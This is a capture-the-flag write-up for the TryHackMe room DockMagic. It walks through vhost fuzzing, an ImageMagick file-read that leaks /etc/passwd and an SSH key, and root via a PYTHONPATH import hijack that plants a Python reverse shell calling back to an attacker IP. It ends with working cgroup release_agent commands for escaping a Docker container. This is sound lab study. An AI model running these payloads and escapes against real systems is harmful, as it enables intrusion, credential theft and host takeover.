TryHackMe - DockMagic

In a land of magic, a wizard escaped from his confinement and embarks on a new adventure.

A relatively new medium difficulty room on TryHackMe. This one is pretty cool because I learned a little something about container escapes.

Scan

# Nmap 7.94SVN scan initiated Tue Nov  7 21:28:30 2023 as: nmap -sV -oN nmap.txt -Pn 10.10.129.243
Nmap scan report for 10.10.129.243
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov  7 21:29:08 2023 -- 1 IP address (1 host up) scanned in 38.37 seconds

Discovery

  • Brute forcing directories didn't turn anything up
  • I made a half-hearted try at SQLi in form inputs but didn't think that would really go anywhere.
  • Intrigued that in this challenge, navigating to http://$IP redirects to http://site.empman.thm. Perhaps there are other hosts?

curl -v $IP
*   Trying 10.10.192.212:80...
* Connected to 10.10.192.212 (10.10.192.212) port 80
> GET / HTTP/1.1
> Host: 10.10.192.212
> User-Agent: curl/8.3.0
> Accept: */*
> 
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 13 Nov 2023 04:46:07 GMT
< Content-Type: text/html
< Content-Length: 178
< Connection: keep-alive
< Location: http://site.empman.thm/
<

Let's fuzz for some hosts:

➜  DockMagic git:(main) ✗ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$IP -H "Host: FUZZ.empman.thm"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.213.49
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.empman.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

backup                  [Status: 200, Size: 255, Words: 56, Lines: 8, Duration: 306ms]
site                    [Status: 200, Size: 4611, Words: 839, Lines: 97, Duration: 305ms]
:: Progress: [4989/4989] :: Job [1/1] :: 247 req/sec :: Duration: [0:00:27] :: Errors: 0 ::

At the backup.empman.thm site is a zip file, ImageMagick.zip. If we download this and inspect it, it contains the source for ImageMagick. We can make a guess that perhaps this site runs ImageMagick to do some processing. ImageMagick 7.1 has a few vulnerabilities, one of which we can exploit to read arbitrary files (that the process has access to).

We can upload an avatar when creating an account, so let's craft one to read everyone's favorite, /etc/passwd. Although I was tempted to write something up that makes the process a little more usable, we'll use the proof of concept here.

  1. Generate an image that refers to a file we'd like to read on the target
  2. Upload the image as an avatar
  3. The target converts or resizes the uploaded image.
  4. The new image now contains that contents of the file we wanted to read
  5. Download the new image from the target and read its contents.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12👨/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:107:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
Debian-exim:x:105:108::/var/spool/exim4:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
emp:x:1000:1000::/home/emp:/bin/bash

Ok, so there is a user named emp, not a surprise. What else should we read? How about seeing if that user has some credentials we can read. We noticed port 22 was open, if we can snag an id_rsa file that might get us in.

➜  DockMagic git:(main) ✗ ssh -i id_rsa emp@$IP
Linux 23348446b037 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
emp@23348446b037:~$

yay, flag1

emp@23348446b037:~$ ls -la
total 60
drwxr-xr-x  1 emp  emp  4096 Aug  5 18:54 .
drwxr-xr-x  1 root root 4096 Aug  5 18:54 ..
-rw-r--r--  1 emp  emp   220 Mar 27  2022 .bash_logout
-rw-r--r--  1 emp  emp  3526 Mar 27  2022 .bashrc
drwxr-xr-x  3 emp  emp  4096 Aug  5 18:54 .bundle
drwxr-xr-x 10 emp  emp  4096 Aug  5 18:56 .gems
drwxr-xr-x  3 emp  emp  4096 Aug  5 18:54 .local
-rw-r--r--  1 emp  emp   807 Mar 27  2022 .profile
drwxr-xr-x  1 emp  emp  4096 Aug  5 18:54 .ssh
drwxr-xr-x  1 emp  emp  4096 Aug 15 22:53 app
-rw-r--r--  1 root root   38 Aug  5 18:54 flag1.txt
-rwxr-xr-x  1 root root   98 Mar 26  2023 test.sh
emp@23348446b037:~$ cat flag1.txt
THM{********************************}

Privilege Escalation

While looking for privilege escalations, it's always worthwhile to check for any cron jobs run as higher privileged accounts.

* * * * * root PYTHONPATH=/dev/shm:$PYTHONPATH python3 /usr/local/sbin/backup.py >> /var/log/cron.log

/usr/local/sbin/backup.py:

$ cat /usr/local/sbin/backup.py
#custom backup script (to be created)
import cbackup
import time

# Start backup process
cbackup.init('/home/emp/app')
# log completion time
t=time.localtime()
current_time = time.strftime("%H:%M:%s", t)
print(current_time)

This indicates that the python script invoked will additionally search a world writable directory, specified in the environment variable PYTHONPATH for imports. Write a python script and save it as /dev/shm/cbackup.py so that it gets imported by the script run by cron as root

import socket,os,pty;

s=socket.socket()
s.connect(("10.2.7.89",4444));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")

Listen on that port for the reverse shell:

➜  DockMagic git:(main) ✗ nc -lvp 4444
listening on [any] 4444 ...
10.10.15.203: inverse host lookup failed: Unknown host
connect to [10.2.7.89] from (UNKNOWN) [10.10.15.203] 42286
# id
id
uid=0(root) gid=0(root) groups=0(root)

... and there's flag 2.

# ls -la
ls -la
total 20
drwx------ 1 root root 4096 Aug 15 22:53 .
drwxr-xr-x 1 root root 4096 Aug 15 22:53 ..
-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw-r--r-- 1 root root   38 Nov 10 05:54 flag2.txt
# cat flag2.txt
cat flag2.txt
THM{********************************}

Container Escape

There is probably a container escape from Docker. ImageMagick + Docker = DockMagic. Everything we need is laid out in this example on hacktricks.xyz

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
ls /tmp/cgrp/

cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x

ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

If we execute other commands to poke around, eventually we find it:

/home
/home/vagrant
/home/vagrant/.viminfo
/home/vagrant/flag3.txt
/home/vagrant/.bash_history
/home/vagrant/.bashrc
/home/vagrant/.vimrc
/home/vagrant/.ssh
/home/vagrant/.ssh/authorized_keys
/home/vagrant/.bash_logout
/home/vagrant/.profile
/home/vagrant/.cache
/home/vagrant/.cache/motd.legal-displayed

cat /output
THM{********************************}